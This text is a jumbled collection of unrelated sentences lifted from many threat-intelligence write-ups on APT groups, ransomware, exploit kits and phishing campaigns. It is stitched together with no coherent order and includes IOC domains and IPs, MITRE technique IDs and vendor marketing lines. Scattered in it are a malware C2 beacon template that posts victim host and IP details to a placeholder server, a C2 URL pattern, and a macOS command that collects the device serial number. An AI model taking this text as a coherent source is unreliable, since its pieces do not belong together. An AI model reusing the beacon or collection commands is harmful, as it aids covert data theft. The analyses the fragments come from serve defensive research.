igmtSX.exe  IMAP RAT


These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.


Attacker-Owned Fake Job Domains: Exploitation URLs:


Examining the Capesand samples The simplified diagram taken from the previous blog shows the combination of ConfuserEx and Cassandra via the second layer of obfuscation protection, which involves the DLL CyaX_Sharp Assembly (both CyaX_Sharp and CyaX are part of the Cassandra protector).


However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.


In addition, if the attacker can’t create an app with the same name as the targeted app, he or she can still check the “SharedUserId” option.


Although an attacker can use a variety of obfuscation techniques for HTML, we are still able to extract some features to create signatures.


It’s unclear how many of its 5 million user base were affected or how the breach happened.


Parallel to the analysis, tracking, and technical disruption of this botnet, Google has filed a lawsuit against two individuals believed to be located in Russia for operating the Glupteba Botnet and its various criminal schemes.


From one of the victims where we found an rshell sample, we also found a binary belonging to the Reptile rootkit framework, a rootkit identified as part of the arsenal of Earth Berberoka.


If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.


However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.


There is no way to verify this statement, but we know that the group is still quite active.


Even though platforms like the AWS Marketplace have streamlined the process of procurement immeasurably for cloud builders, friction persists.


Ransomware attacks are very common, but they are rarely coupled with an exploit that allows the malware to spread as a network worm.


On August 27, we reported our findings to Taobao.


The second packer we discovered consists of two layers, with the second being the custom UPX packer discussed above.


Unfortunately, many app developers in the Google Play Store have ignored these concerns in favor of convenience.


The package of downloaded Flash installer


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


The documents can also be image files with the same theme, as can be seen here.  Multiple Android applications further drive this notion, as they provide services based on the interests of users in that region.


Masquerading: Match Legitimate Name or Location T1197 BITS Jobs T1070.006


The DarkSide ransomware DarkSide offers its RaaS to affiliates for a percentage of the profits.


If Lapsus$ has purchased credentials for a network, they can effectively operate as an insider threat, taking advantage of the same privileges the employee has inside the network.  Focus on general information security best practices: MFA, access controls and network segmentation.


Figure 5. Malicious script appended on the victim’s email signature      Figure 6.


The data follows a specific format.


If a particular vendor has firmware updates that can address a Cyclops Blink attack or any other weakness in the system, organizations should apply these as soon as possible.


Figure 4 - Workbench models showing correlated events ready for further investigation.


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In-App Purchase (IAP) has become a popular way to sell services and virtual items through mobile applications.


We don't need to [00:07:00] drop the pamphlets out of the plane anymore.


According to both the Apache Foundation and security researcher Man Yue Mo, this vulnerability can enable remote code execution on a server running a vulnerable version of Apache Struts.


The figure below shows the example of two of several possible command codes.


Last March it seemed the world came to a stand-still as the COVID-19 pandemic begin to rapidly spread.


The network reflection and amplification vulnerability with bandwidth amplification factor (BAF) is calculated as the ratio between outbound and reflected traffic.


June 13, 2021  596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d  upeg-system-app[.]com  Likely repacked from Snaptube.


While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.


When sending the information, ANEL encrypts the data using blowfish, XOR, and Base64-based encryption methods.


In one case we were able to warn the target within two hours after a dedicated credential phishing site was set up.


Figure 4 shows the leaked path.


When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.


Security recommendations


When this is done with the visitor’s full knowledge and consent, it’s a fair and reasonable exchange.


Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.


But before we get into the details, here is a quick overview of mutexes and why they exist in the first place.


Figure 12.


According to Wanyx’s website, 12 of the 50 games in Wanyx’s suggested games column contain the discussed IAP SDKs.


The TA505 group usually attaches a malicious file without any compression.


This industry appears to be thriving.


Early in 2010, CVE-2010-1622 was assigned to a remote code execution vulnerability in the Spring Framework.


Once a user opens the website in the browser, it starts making requests to various Ukrainian news sites and lists the number of requests made to each new site on the home page, as shown in Figure 12 below.


hxxp://{FQDN}/{computer name}_{hexadecimal volume serial number}/help_{day}_{month}[.]php  Conclusion Gameradon is not the first group to take advantage of the Covid-19 topic.


Because of these policies, experienced actor groups like Pawn Storm can take advantage of OAuth for their credential phishing schemes.


However, our analysis shows further similarities that imply correlation.


DeviceIoControl as an argument with the current process ID


Palo Alto Networks Enterprise Security Platform offers multilayer protection to prevent this attack along with other attacks without the need for prior knowledge of the specific attack.


Using a UPX unpacker, we were able to extract the contents, which consists of a Python executable.


The language is returned to its original setting when the run is finished.


Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.


The beginning and end markers, DZKS and DZJS, are typical in PlugX. A closer look, however, shows that the decryption algorithm is different from PlugX.


First stage: Information collection  2.


But when April 2017 came, Rig started a very marked decline.


Microsoft issued a patch for this vulnerability in  February 2020.


In November 2019, we published a blog analyzing an exploit kit we named Capesand that exploited Adobe Flash and Microsoft Internet Explorer flaws.


Tropic Trooper, a threat actor group that targets government, military, healthcare, transportation, and high-tech industries in Taiwan, the Philippines, and Hong Kong, has been active since 2011.


A second HTTP server will also be created to listen on one of the aforementioned port numbers.


The first version of Funtasy we detected is a fake television remote control application.


Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.  CVE-2020-0601: The ChainOfFools/CurveBall Attack Explained POC  Win10 Crypto Vulnerability: Cheating in Elliptic Curve Billiards 2  NSA Cybersecurity Advisory  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.


We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.


The Malware that Usually Installs Ransomware and You Need to Remove Right Away


In reality, the malware is encrypting the NTFS Master File Table in the background.


The highlighted bytes represent the scrambled computer info  Figure 22.


How it Works


Based on the controller’s behavior, we can posit that both Marade and Protux were authored by the same threat actors.


Figure 7.


However, as the rshell sample was found in 2021, we initially did not find this correlation strong enough to attribute the rshellmalware family to Iron Tiger.


A successful attack would run code in the security context that Struts is using.


[1] These attacks took place between January and March of 2015.


Encrypted configuration file


Another malware family that we obtained both Windows and macOS samples of during our investigation was oRAT.


In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.


Such as the term mercenary, right?


This post is also available in:      日本語 (Japanese)  Palo Alto Networks Unit 42 threat intelligence team has just released new research that has uncovered a previously unknown second wave of Shamoon 2 attacks: Second Wave of Shamoon 2 Attacks Identified  Based on our analysis, these attacks were timed to occur on November 29, 2016, twelve days after the initial Shamoon 2 attacks that we wrote about previously.


But it is an important piece that enables modern malware to try and evade security products and countermeasures.


Host IOCs Registry Keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update File Paths C:\Windows\System32\Nwsapagent.sys C:\Windows\System32\helpsvc.sys C:\ProgramData\USOShared\uso.bin C:\ProgramData\VMware\vmnat-update.bin C:\ProgramData\VirtualBox\update.bin


Using our PoC, we created the following demonstration video of how a malicious actor would exploit the CVE-2021-32648 vulnerability, log into the compromised OctoberCMS account and to deface a web page hosted by the server:


URLs/Domains/IP Addresses      Server hosting malicious documents  parinari[.]xyz  Server used for file exfiltration  pirnaram[.]xyz  Domain names linked to other campaigns


It installs the driver file in preparation for disabling the running antivirus product.


It uses Writing Style DNA to detect BEC impersonations and computer vision to find credential-stealing phishing sites.


We look forward to continuing our work in this space and advancing the safety and security of our users around the world.


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


Additionally, each sample uses a Sound object named ‘snd’ to gain control, and they all invoke the function toString().


Based on the way Virlock spreads the ransom amount it demands, it is likely designed to target consumers or home users.


After the hex decoding of the arguments, we get a Python one-liner that downloads additional Python scripts from the cloud.


It copies itself on %WINDIR%\system32\wbem\ and replaces the original DLL.


The originating IP of Water Nue’s test/deployment machine was left in a clear text file in the phishing site’s server for collected credentials.


Cortex XDR Pro customers also have visibility into post-exploitation activities and can specifically track the “Process execution with a suspicious command line indicative of the Spring4Shell exploit” and “Suspicious HTTP Request to a vulnerable Java class” Analytics BIOCs.


The configuration is encoded with a 105-byte XOR key.


Additionally, we also found that the steganography algorithm (alternative base64 + RC4) between XXMM and Daserf were the same.


Having a loader and a payload ready, we set out to test the exploit on a fresh install of Catalina (10.15) since it was the version in which we were served the full exploit chain.


When it is loaded by the system, DLLMain decrypts the payload via CryptUnprotectData.


The attacker would then use a custom tool to download the mailbox contents via IMAP.


Palo Alto Networks detects and prevents LockBit 2.0 ransomware in the following ways:


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The backdoors also linked to an infrastructure matching old Hangover domains as well as the infrastructure of domains from the September 2016 blog post.


In our first half report, we highlight an APT group named TeamTNT that has been targeting clouds for quite a while now.


We do believe there is evidence suggestive of a connection between Shamoon 2 and the Magic Hound campaign, which could indicate these two attack campaigns could have worked in conjunction with each other to execute the Shamoon 2 attacks.


We also believe the presence of specific, valid named hosts from the network used in Stage 2 shows they were obtained directly from Active Directory on a domain controller.


Figure 7.


We believe there was no major impact on Android users and that the number of installs was miniscule.


The third version we found (5.1.2 rc1) reverts to a DLL file type but retains the C&C server.


However, by comparing key pieces of information with known sources, it is possible to determine when a campaign was likely perpetrated by a certain group.


HyperBro


Why IIoT matters  Industrial IoT (IIoT) systems are already streamlining production processes, improving cost efficiencies, and helping to drive greater agility and innovation for manufacturers.


Once we deployed the Threat Prevention signatures, we analyzed the packet captures associated with our "Spring Core Remote Code Execution Vulnerability" signature and found that a majority of the activity was likely generated by variations of the publicly available PoC tools.


It created one legitimate project/repository (mobile-phone-project) in June 2016, derived from another generic GitHub page.


Four hours later, we received confirmation that the custom email address "claud@student.cnri.edu" was active.


We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Russia.


REDBALDKNIGHT’s tool can create, embed, and hide executables or configuration files within the image file with its tag and encrypted strings via steganography.


In the first sample we encountered (Figure 3, left), the ransom note only linked to a TOX ID, whereas a later observed sample (Figure 3, right) links to an onion domain as well as a TOX ID (different from the one in the first version).


They provide an SDK and services to help developers display rich advertisements with a high pay rate.


Figure 4 breaks down which file types we saw in the course of ransomware detection and their prevalence.


This is also suggestive of access to the network through legitimate, stolen credentials.


Conti’s methodology often follows the “double extortion” approach that many leading ransomware groups are presently using.


Olivia Smith


Notable features for this backdoor include:  Our team is constantly working to secure our users and keep them safe from targeted attacks like this one.


This is a command to execute a PowerShell script of some kind.


Weaponizing Open Source Software for Targeted Attacks


Since Virlock only requests a $250 ransom, it does not draw too much public attention.


Figure 5: A seller advertising a customizable “xxx.edu” email account.


Figure 7.


To send data to the C&C server, the core component performs a TLS handshake with a randomly chosen C&C server at a random TCP port, both of which are from a hard-coded list.


Microsoft has since released protection guidance and assigned CVE-2022-30190 to this vulnerability.


The landing page contained a simple HTML page loading two scripts—one for Capstone.js and another for the exploit chain.


Threat groups such as OceanLotus are actively updating malware variants in attempts to evade detection and improve persistence.


It was last updated on May 12, 2022.


Assets running end-of-life software should never be internet-facing.


It continues to dynamically load a number of libraries and functions for later use.


It also enables non-blocking I/O for the writing file descriptor by using ioctl().


Just last May, Trend Micro connected the group to ransomware attacks on Taiwanese organizations.


The exploits were delivered via compromised legitimate websites (e.g. watering hole attacks), links to malicious websites, and email attachments in limited spear phishing campaigns.


Figure 2. Check by PClock2 for hooking of sleep function  A simple check is performed to determine if the malware is running with administrative privileges.


We terminated 123 YouTube channels as part of our investigation into coordinated influence operations linked to Russia.


The malware proceeds to make an attempt at binding to the local host on port 1139.


The PS function from which PRB-Backdoor takes its name


Though both attacks have targeted Ukrainian organizations, the two threats have so far been implemented in separate situations.


Targets typically had to navigate through at least one redirect before landing on a phishing domain.


We haven’t retrieved a copy of the exploit.


Indeed, the Magecart attackers have proven over the past year that no website is safe from skimming attacks.


The oldest known sample is from 2020, and the tool is still under active development.


They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.


Based on the use of domain names they registered, the group started out in the business of fake/rogue anti-virus products in 2007.


Another file, ps, is a Linux executable that serves as an SSH backdoor.


HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.


That action by itself potentially introduces other leads that developers may forget to clean.


Attackers developed DGA specifically to counter these actions.


The content of this exploit file can be observed below.


While the user will experience a slow-down as the coin mining software is run, it is (or should be) expected, because of the notification, and so done with the site visitor’s consent.


Figure 1. Phishing Email with the embedded URL      The email attempts to convince recipients to click the URL and download a malicious file.


In the Colonial Pipeline attack, DarkSide used double extortion.


A tangled web of malware


Figure 11. Exfiltration command similarities.     Code sharing


Over the past several weeks, Russia-Ukraine cyber activity has escalated substantially.


We also found that older samples from the previous SLUB campaigns in 2019 used a similar naming convention.


The other layers are simple obfuscated PowerShell scripts.


Figure 5.


This malware sample will also dynamically load a number of functions and libraries.


We also found that the file delivered is an .MSI executable containing the same .DLL FlawedAmmyy downloader.


Despite the exploit being an executable instead of shellcode, it was not a standalone binary we could run in our virtual environment.


The second part of API hooking hooks on “GetExtendedTcpTable.” “GetExtendedTcpTable” is used for retrieving a table that contains a list of TCP endpoints available to the application, and it is frequently used in some network-related commands, such as netstat.


Figure 25.


This malware is modular in nature and it is likely that each vendor has different modules and architectures that were thought out well by the Cyclops Blink actors.


IM Rules:      1010855 - Microsoft Exchange - HAFNIUM Targeted Vulnerabilities     Trend Micro Vision One™ Correlation:      Fig - Microsoft Exchange Server RCE Vulnerability (CVE-2021-26855 + CVE-2021-27065)     Trend Micro Vision One™ is a purpose-built, threat defense platform with extended detection and response (XDR) capabilities that work to prevent majority of attacks with automated protection.


After that, nothing spoils the fun and excitement of unboxing and playing with an exciting new device than trying to figure out what you need to do to use it with reasonable safety and privacy.


Detection: Delivered on 19/19 attack steps in the evaluation, for 100% detection.


Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.


In our case, the samples from the Operation Earth Kitsune implemented the Mattermost command and control (C2) communication and leaked a local path.


The combination of ConfuserEx and CyaX (Cassandra protector) seems to be unique and customized based on the indicators mentioned earlier.


Besides the ActiveX objects, we noticed that the script added new code to connect websocket to localhost.


Multiple vendors report that the malware includes the ability to spread via port 445 scans and attacks against the ETERNALBLUE vulnerability not only on internal networks but also across the Internet.


Figure 1. Icons used by malicious Sysget attachments.


Backdoor commands found in CapraRAT     This APK file also has the ability to drop mp4 or APK files from asset directory.


The script will then upload database files inside the WeChat folder including “MicroMsg.db” to cloud storage.


After that the exploit uses a ROP chain to overwrite the virtual function table of a sound object to gain full control.


Avast responded to our notification with this statement: "We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021.


File download (0x0f) This module can download files from the internet.


This post supplements that information based on observations from the first three months of 2021, and will discuss the propagation of different ransomware families we observed in the wild and the different types of extortion used.


We were able to uncover an additional two samples using the QTI International Inc certificate and Google Code pages.


COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.


Additional analysis and insights by Higashi Yuka and Chizuru Toyama REDBALDKNIGHT, also known as BRONZE BUTLER and Tick, is a cyberespionage group known to target Japanese organizations such as government agencies (including defense) as well as those in biotechnology, electronics manufacturing, and industrial chemistry.


Link to Jon’s panel discussion in Davos: https://www.youtube.com/watch?v=GAZng8u9FXk


The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.


These scripts were managed with an XSS attack framework called “XSS.ME,” which helps attackers deal with their attack scripts and the stolen information.


We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.


In addition, this move from AWS validates our XDR strategy, which is focused on using as many data sources as possible to enhance detection and response.


Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.


WanaCrypt0r is a global ransomware attack that emerged on Friday, May 12, 2017.


In this case, we are concerned about coin mining code that’s used on websites.


Risk Assessment


Though sometimes called a ransomware group in reports, Lapsus$ is notable for not deploying ransomware in extortion attempts.


The data is then exfiltrated via email to a compromised email account.


Kaseya provides IT management software to mostly managed service providers (MSPs).


x.TextContent.StartsWith("Access for less secure apps has been turned on") ||


Here, Uninstall.exe is used to get the Windows account and password, and then writes the result to C:\Users\%username%\AppData\local\password.txt.


Figure 11. Code showing the creation of the directory


You can see an image of how this works below in Figure 1.  Figure 1 Conversation Hijacking to Deliver Malware  How this works is that two users, Alice (A) and Bob (B) are carrying on an email conversation.


Behind the scenes, a .NET DLL file named skfk.txt, which is filled with content found inside the “Comments” property of the document, is created in the temporary directory.


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The first PDB string has a certain ss2/Projects/MsiWrapper (Project MsiWrapper) in it, which we found to be an open-source application that converts executable setup programs to MSI files.


We believe this is a technique the attacker is using to evade detection rules.


We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


When employed, various techniques to bypass MFA are observed – from social engineering, through SIM-swapping and even compromising MFA/telecoms providers.  Zero Trust network architecture and strong security hygiene are the best defenses against this type of threat actor.


One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.


On March 8, President Biden signed an Executive Order to ban the sale of Russian oil, liquefied natural gas and coal to the United States.


The PlugX sample in Table 4 used the same Google Code page and redirect, but the QTI International Inc certificate.


Based on the language that was hardcoded in the samples we found, TICK appeared to be targeting Japanese organizations with subsidiaries in China to serve as footholds for intrusion: TICK hard-coded two code pages 932 and 936, referring to Japanese and Simplified Chinese characters respectively.


Five Sysget samples used to target two Japanese organizations.


While investigating the Confucius threat actor, we found a recent spear phishing campaign that utilizes Pegasus spyware-related lures to entice victims into opening a malicious document downloading a file stealer.


In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.


The email was sent from an IP address recorded on one of the phishing sites that the attacker tested its functionality on.


We received leads from Facebook that supported us in this investigation.


We found 13 different targets while following our sensors‘ data.


Tags  Articles, News, Reports | APT & Targeted Attacks | Research


The first cluster is built using virtual private servers (VPS), rented from a service provider, that are used for the group’s watering hole and spear phishing operations, in addition to acting as a command-and-control (C&C) server for malware.


The first line of defense is the IPS.


The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.


We are not aware of any reports of successful recovery after paying the ransom.


Public security Schedule   Enterprises Need to be Proactive PLEAD, Shrouded Crossbow, and Waterbear


AnubisSpy can steal messages (SMS), photos, videos, contacts, email accounts, calendar events, and browser histories (i.e., Chrome and Samsung Internet Browser).


These also happen to be files users are most likely to use on a day-to-day basis or that are critical to an organization’s operations.


An N-day is a known vulnerability with a publicly available patch.


“ZwOpenProcess” after modification


Palo Alto Networks Unit 42 regularly researches threats like these and provides information about them on our blog.


Once the fake chkdisk completes, the malware displays a ransom note which demands a payment of $300 in bitcoin.


Just like with home entertainment devices, it’s the cloud-based account that attackers are more interested in.


Our Spring Core Remote Code Execution Vulnerability signature was released in the early hours of March 31.


Let us know in the comments below, hit us up on social @TrendMicro or you can reach me directly @marknca.


We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


Now, we’re shining light on a new tool of theirs.


Figure 4 shows an example of the structure in memory.


Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.


The most important task of the c1222 script is to download, decode, and execute the Cobalt Strike shellcode.


Another thing that we discovered about the games offered by Round Year Fun is that if you authorize it to use your Twitter account, the author can use the account to promote games using automation tools.


Delivery/Exploitation


Most legacy security programs could not detect this malware at the time it was posted.


However, it is possible that multiple groups might be covertly sharing the source code for this malware.


Therefore, the victim also loads the malicious script with the replaced wrapper page whenever they access the webmail server with the malicious Service Worker enabled in the background.


This post is also available in:      日本語 (Japanese)  HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021.


Here the site itself has been attacked, and the site owners are also victims.


All modern tablets and smartphones have settings you should enable before you take these portable devices out of your home:  a. Passcodes to lock the device.


When we tracked ChessMaster back in November, we noted that it exploited the SOAP WSDL parser vulnerability CVE-2017-8759 (patched in September 2017) within the Microsoft .NET framework to download additional malware.


Kill: Posts a job to kill the backdoor inject Posts a job for DLL injection Interval Changes the sleep interval Cmd


If the backdoor finds that the file “debug” present inside the root directory, it will wait for 130 seconds and then continue with execution.       Figure 16.


The vulnerabilities underlying these exploits included: Internet Explorer - CVE-2018-8653 Internet Explorer - CVE-2019-0676 Chrome - CVE-2019-5786 Windows Kernel - CVE-2019-0808 Internet Explorer - CVE-2019-1367 Internet Explorer - CVE-2019-1429


The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.


Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 CVE-2021-40438 9 mod_proxy SSRF CVE-2020-11984 9.8 mod_proxy_uwsgi buffer overflow CVE-2019-10098 6.1 mod_rewrite potential open redirect CVE-2019-10097 7.2 CVE-2019-10097 mod_remoteip Stack buffer overflow and NULL pointer dereference CVE-2019-0190 7.5 mod_ssl 2.4.37 remote DoS when used with OpenSSL 1.1.1 CVE-2018-8011 7.5 mod_md, DoS via Coredumps on specially crafted requests CVE-2018-1303 7.5 Possible out of bound read in mod_cache_socache CVE-2018-11763 5.9 DoS for HTTP/2 connections by continuous SETTINGS CVE-2017-9798 7.5 Use-after-free when using <Limit > with an unrecognized method in .htaccess ("OptionsBleed") CVE-2017-9788 9.1 Uninitialized memory reflection in mod_auth_digest CVE-2017-7668 9.8 ap_find_token()


Related IOCs lragir[.]org armradio[.]org asbares[.]com armtimes[.]net armlur[.]org armenpress[.]org hraparak[.]org armtimes[.]org hetq[.]org


So the next time IE tries to access a freed object an invalid address exception would be raised.


The descriptions for these items proposed three main uses for buyers:


We also found a live service selling VPS hosting at secure[.]66[.]to.


Figure 3: Remote control app terms of service.


The Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security solutions prevent malware from ever reaching end users.


The amount of payment information that was stolen is still unknown.


Based on our analysis, this group targets gambling websites.


In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.


Accept-Encoding: gzip Connection: Keep-Alive


Vulnerable Systems CVE-2022-26134 in the Wild Cortex Managed Threat Hunting Detections of CVE-2022-26134


flash_installer.exe  BIOPASS RAT Loader  Backdoor.


On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.


The four exploits were used as a part of three different campaigns.


Figure 2: Price of bitcoin in U.S. dollars from CoinMarketCap  While botnets mining cryptocurrency is nothing new, the technique was much less profitable than using ransomware.


Recently observed Turla domains: COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to use Gmail accounts to send credential phishing emails to a variety of Google and non-Google accounts.


This file is a legitimate Microsoft Windows binary.


This structure is created in the function MemoryProtection::CMemoryProtector::ProtectCurrentThread and is used to manage deferred free heap blocks.


Learn more and see a detailed workflow example on the Palo Alto Networks SecOps blog, “How Xpanse Can Identify CISA-Identified Known Exploited Vulnerabilities.”


To protect our users, TAG routinely hunts for 0-day vulnerabilities exploited in-the-wild.


We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.


While ransomware is often thought to be bullet-proof, it is certainly not always the case.


Variable ${prIVATE} = 959, 713 from section 1 of the PowerShell script has two values; the first number is the key and the second number is the modulus.


We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.


Be wary of irregular emails with suspicious content such as dubious sender email, domain name, writing style, and urgent requests.


It also contains a minimalist agent capable of exfiltrating interesting files from the device, such as the Whatsapp database.


Indicator of Compromise Android Part IoCs  Indicator  Package name  Label  C2 server  Detection  0c182b51ff1dffaa384651e478155632c6e65820322774e416be20e6d49bb8f9  com.example.firstandoidapp


While ConfuserEx is able to apply multiple transformations to the target binary, we are interested in two particular functions that we can use for correlation:  Source code building.


Get memory information    ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformSerialNumber/ { split($0, line, \"\\\"\"); printf(\"%s\", line[4]); }


This last command downloads a shell script that ultimately downloads and executes an XMRig coinminer.


Despite being unknown even to industry practitioners, the Data Distribution Service (DDS) protocol has been in use for more than a decade.


But as we’ve seen with even ransomware actors, the endpoint is being targeted less.


Second, one of the Linux rshell samples used the IP address 45[.]142[.]214[.]193 as its C&C.


The Lapsus$ Group doesn’t employ malware in breached victim environments, doesn’t encrypt data and in most cases, doesn’t actually employ extortion.


It will only run at or later than 12:10 PM on any given day; if it is earlier, it will sleep for 15 seconds until it is past the said time.


Once ANEL evolved to “5.1.1 rc,” it changed its file type to an executable, while also changing the C&C server.


Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.


The code inside the BLUE box constructs the main Powershell commands and scripts.


In addition, the application now retrieves the last known location and uses the development platform Google Firebase to upload the stolen content.


We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.


This also is an important lesson for kids to understand that privacy on computers isn’t absolute: the admin can always look at what they’re doing.


Detecting and deleting Mimikatz      We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver).


On April 6, 2022, VMware published a security advisory mentioning eight vulnerabilities, including CVE-2022-22954 and CVE-2022-22960 impacting their products VMware Workspace ONE Access, Identity Manager and vRealize Automation.


After further analysis, we found that the threat group developed multiple backdoors capable of communication via common network protocols.


We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.


An example upload of these results can be seen below:  PlugX  PlugX is a backdoor that is often used by actors in targeted attacks.


In October 2017, Palo Alto Networks Unit 42 published research showing how attackers were adapting attack techniques to generate cryptocurrency for themselves.


Related IOCs supportcdn.web[.]app vegmobile[.]com 111.90.146[.]198


During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”


Figure 17.


On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.


Figure 2 - A Technique detection named "Clipboard Data or Screenshot Collection via PowerShell" was generated when powershell.exe executed CopyFromScreen().     The adversary uses privilege escalation, which commonly involves taking advantage of pre-existing system weaknesses, misconfigurations, and vulnerabilities to gain higher permissions.


They're going to buy everything that they need and everything that they see as an opportunity, right?


Maybe explain to the audience what hybrid warfare or cyber warfare is.


It’s a subject Unit 42 has been tracking in the past year:


Since the detection result is fake, the subsequent cleaning is not real either – the elimination operation is just marking a flag of "initial_virus_cleared" to “1” in the app’s internal database.


As observed on CVE-2020-0688, the use of static keys — as opposed to randomly generated keys — can allow an attacker to execute arbitrary code by tricking the server into deserializing ViewState data.


One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd,detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.]com, a domain name belonging to Urpage.


The message body and sender phone number are collected as shown in Figure 2.  Figure 2.


Of those vulnerabilities, 4 were actively being exploited in the wild.


Figure 7. HTTP POST request indicating a folder is being scanned  This resulted in over 1,000 requests being made on a sandbox machine, which contained little data of interest.


We analyzed seven apps that were actually AnubisSpy.


Protux’s latest version, 3.7, uses the open-source compiler OpenCSP to generate a session key with the RSA algorithm.


The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.


What happened?


Both methods use a system application called PackageInstaller to complete the installation.


3. Criminals will find ways to target these attacks.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


Voice assistants are some of the newest devices out there, which means they’re the least known and understood.


“India reaction after new pak map.pdf” – a document talking about India’s response to the new political map revealed by Pakistan in August.


Figure 12.


Figure 1.


Their response was that they were addressing this issue and have already removed a number of these items, with the remainder requiring further investigation.


Figure 9.


Attackers know that people will click on links in email.


It’s great to be here.


The filename is derived by randomly choosing an executable name from the system32 directory.


Nearly all of us have a use for Microsoft Office documents.


The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.


At this point, the key exchange is complete and both client and server hold the same two keys, which they can use to encrypt and decrypt traffic.


Organizations can and should prioritize scheduling and deployment of the security updates based on their security policy and risk assessment, and  on currently available information.


Original (top) and modified (bottom) website


Since mid-2021, we have been investigating a rather elusive threat actor called Earth Lusca that targets organizations globally via a campaign that uses traditional social engineering techniques such as spear phishing and watering holes.


Owing to the diversity of techniques used, and the lack of use of malware, there is no single defense against or detection of Lapsus$ attacks specifically.


We can see the first packet is a normal ClientHello sent by the client, and the second packet is a crafted packet sent by the server.  In order to examine exploitation of this vulnerability, we used WinDBG to attach to the lsass.exe process.


The 'gh204503254' data that was previously downloaded is used as the key.


Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.


Security updates to address these vulnerabilities began to be released prior to disclosure on January 3, 2018.


